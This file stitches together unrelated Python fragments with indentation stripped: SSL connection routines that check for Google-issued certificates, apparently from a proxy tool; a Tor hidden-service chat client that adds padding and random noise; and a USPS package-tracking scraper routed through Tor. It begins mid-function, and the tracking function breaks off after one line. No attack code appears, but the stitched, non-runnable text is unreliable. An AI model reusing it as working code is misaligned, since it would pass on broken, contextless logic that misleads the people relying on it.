ssl_sock.set_connect_state()
ssl_sock.connect(ip_port)
time_connected = time.time()
ssl_sock.do_handshake()
time_handshaked = time.time()
def verify_SSL_certificate_issuer(ssl_sock):
cert = ssl_sock.get_peer_certificate()
if not cert:
#google_ip.report_bad_ip(ssl_sock.ip)
#connect_control.fall_into_honeypot()
raise socket.error(' certficate is none')
issuer_commonname = next(
(v for k, v in cert.get_issuer().get_components()
if k == 'CN'), '')
if not issuer_commonname.startswith('Google'):
google_ip.report_connect_fail(ip, force_remove=True)
raise socket.error(
' certficate is issued by %r, not Google' %
(issuer_commonname))
verify_SSL_certificate_issuer(ssl_sock)
handshake_time = int((time_handshaked - time_connected) * 1000)
try:
h2 = ssl_sock.get_alpn_proto_negotiated()
if h2 == "h2":
ssl_sock.h2 = True
# xlog.debug("ip:%s http/2", ip)
else:
ssl_sock.h2 = False
#xlog.deubg("alpn h2:%s", h2)
except:
if hasattr(ssl_sock._connection,
"protos") and ssl_sock._connection.protos == "h2":
ssl_sock.h2 = True
# xlog.debug("ip:%s http/2", ip)
else:
ssl_sock.h2 = False
# xlog.debug("ip:%s http/1.1", ip)
google_ip.update_ip(ip, handshake_time)
xlog.debug("create_ssl update ip:%s time:%d h2:%d", ip,
handshake_time, ssl_sock.h2)
ssl_sock.fd = sock.fileno()
ssl_sock.create_time = time_begin
ssl_sock.last_use_time = time.time()
ssl_sock.received_size = 0
ssl_sock.load = 0
ssl_sock.handshake_time = handshake_time
ssl_sock.host = ''
connect_control.report_connect_success()
return ssl_sock
except Exception as e:
time_cost = time.time() - time_begin
if time_cost < self.timeout - 1:
xlog.debug("connect %s fail:%s cost:%d h:%d", ip, e,
time_cost * 1000, handshake_time)
else:
xlog.debug("%s fail:%r", ip, e)
google_ip.report_connect_fail(ip)
connect_control.report_connect_fail()
if ssl_sock:
ssl_sock.close()
if sock:
sock.close()
return False
def clientConnectionThread(stdscr, ServerOnionURL, msgs):
global roster
# Try to load Socksipy
try:
import socks
except:
print("[E] Can't load socksiphy module.")
print("[E] Try installing python-socksipy in debian-like distros")
exit(0)
while (True):
try:
log("Trying to connect to %s:%d" %
(ServerOnionURL, hidden_service_port))
## Connects to TOR via Socks
s = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM)
s.setproxy(socks.PROXY_TYPE_SOCKS5, tor_server,
tor_server_socks_port)
s.settimeout(100)
s.connect((ServerOnionURL, hidden_service_port))
s.setblocking(0)
log("clientConnection: Connected to %s" % ServerOnionURL)
log("clientConnection: Autorequesting roster...")
msgs.append("/roster")
randomwait = random.randint(1, clientRandomWait)
except:
log("clientConnection: Can't connect! retrying...")
time.sleep(1)
continue
try:
while (True):
time.sleep(1)
ready = select.select([s], [], [], 1.0)
# received data from server
if ready[0]:
data = sanitize(s.recv(minimum_message_len))
# received pong (ignore)
if data.find("/PING ") > -1:
continue
# received roster list
if data.startswith("--roster"):
roster = []
for i in data.split(' ')[1:]:
roster.append(i)
# Write received data to channel
log(data)
# We need to send a message
if len(msgs) > 0:
randomwait -= 1 # Wait some random time to add noise
if randomwait == 0:
m = addpadding(msgs.pop(0))
s.sendall(m)
randomwait = random.randint(1, clientRandomWait)
# send noise in form of PINGs
if random.randint(0, clientRandomNoise) == 0:
ping = "/PING "
for i in range(120):
ping += "%02X" % random.randint(0, 255)
#log("Sending %s" % ping)
msgs.append(ping)
except:
s.close()
pass
import socks
s = socks.socksocket()
socks.set_default_proxy(socks.PROXY_TYPE_SOCKS4, "127.0.0.1", 9150, True)
import socket
socket.socket = socks.socksocket
# import urllib.request
# print(urllib.request.urlopen("http://www.sourceforge.net/"))
# print(urllib.request.urlopen("https://www.sourceforge.net/"))
# quit()
import requests
import lxml.html
from lxml import etree
from itertools import chain
from collections import OrderedDict
removeNonAscii = lambda s: "".join(i for i in s if ord(i) < 128)
url = "https://tools.usps.com/go/TrackConfirmAction.action"
#url = "https://google.com"
_params = dict(tRef="fullpage", tLc="2")
_headers = {
'User-Agent':
r"""Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36"""
}
def track(numbers, stride):
params = dict(
chain(_params.items(), {"tLabels": ','.join(numbers)}.items()))
def connect_ssl(ip, port=443, timeout=5, check_cert=True, close_cb=None):
if check_local_network.is_ok(ip):
with network_fail_lock:
time.sleep(0.1)
ip_port = (ip, port)
sni = sni_generater.get()
if config.PROXY_ENABLE:
sock = socks.socksocket(socket.AF_INET if ':' not in
ip else socket.AF_INET6)
else:
sock = socket.socket(socket.AF_INET if ':' not in
ip else socket.AF_INET6)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# set struct linger{l_onoff=1,l_linger=0} to avoid 10048 socket error
sock.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER,
struct.pack('ii', 1, 0))
# resize socket recv buffer 8K->32K to improve browser releated application performance
sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 32 * 1024)
sock.setsockopt(socket.SOL_TCP, socket.TCP_NODELAY, True)
sock.settimeout(timeout)
ssl_sock = openssl_wrap.SSLConnection(openssl_context, sock, ip, close_cb)
ssl_sock.set_connect_state()
ssl_sock.set_tlsext_host_name(sni)
time_begin = time.time()
ssl_sock.connect(ip_port)
time_connected = time.time()
ssl_sock.do_handshake()
try:
h2 = ssl_sock.get_alpn_proto_negotiated()
if h2 == "h2":
ssl_sock.h2 = True
else:
ssl_sock.h2 = False
xlog.debug("%s alpn h2:%s", ip, h2)
except Exception as e:
#xlog.exception("alpn:%r", e)
if hasattr(ssl_sock._connection,
"protos") and ssl_sock._connection.protos == "h2":
ssl_sock.h2 = True
# xlog.debug("ip:%s http/2", ip)
else:
ssl_sock.h2 = False
# xlog.debug("ip:%s http/1.1", ip)
time_handshaked = time.time()
check_local_network.report_ok(ip)
def verify_SSL_certificate_issuer(ssl_sock):
# cert = ssl_sock.get_peer_certificate()
# if not cert:
# #google_ip.report_bad_ip(ssl_sock.ip)
# #connect_control.fall_into_honeypot()
# raise socket.error(' certficate is none')
# issuer_commonname = next((v for k, v in cert.get_issuer().get_components() if k == 'CN'), '')
# if not issuer_commonname.startswith('Google'):
# google_ip.report_connect_fail(ip, force_remove=True)
# raise socket.error(' certficate is issued by %r, not Google' % ( issuer_commonname))
certs = ssl_sock.get_peer_cert_chain()
if not certs:
# google_ip.report_bad_ip(ssl_sock.ip)
# connect_control.fall_into_honeypot()
raise socket.error(' certficate is none')
if len(certs) < 3:
# google_ip.report_connect_fail(ip, force_remove=True)
raise Cert_Exception('No intermediate CA was found.')
if hasattr(OpenSSL.crypto, "dump_publickey"):
# old OpenSSL not support this function.
if OpenSSL.crypto.dump_publickey(
OpenSSL.crypto.FILETYPE_PEM,
certs[1].get_pubkey()) not in GoogleG23PKP:
# google_ip.report_connect_fail(ip, force_remove=True)
raise Cert_Exception('The intermediate CA is mismatching.')
issuer_commonname = next(
(v
for k, v in certs[0].get_issuer().get_components() if k == 'CN'),
'')
if not issuer_commonname.startswith('Google'):
# google_ip.report_connect_fail(ip, force_remove=True)
raise Cert_Exception(' certficate is issued by %r, not Google' %
(issuer_commonname))
if check_cert:
verify_SSL_certificate_issuer(ssl_sock)
connct_time = int((time_connected - time_begin) * 1000)
handshake_time = int((time_handshaked - time_connected) * 1000)
#xlog.debug("conn: %d handshake:%d", connct_time, handshake_time)
# sometimes, we want to use raw tcp socket directly(select/epoll), so setattr it to ssl socket.
ssl_sock._sock = sock
ssl_sock.connct_time = connct_time
ssl_sock.handshake_time = handshake_time
ssl_sock.fd = sock.fileno()
ssl_sock.create_time = time_begin
ssl_sock.last_use_time = time_begin
ssl_sock.received_size = 0
ssl_sock.load = 0
ssl_sock.sni = sni
ssl_sock.host = ""
return ssl_sock
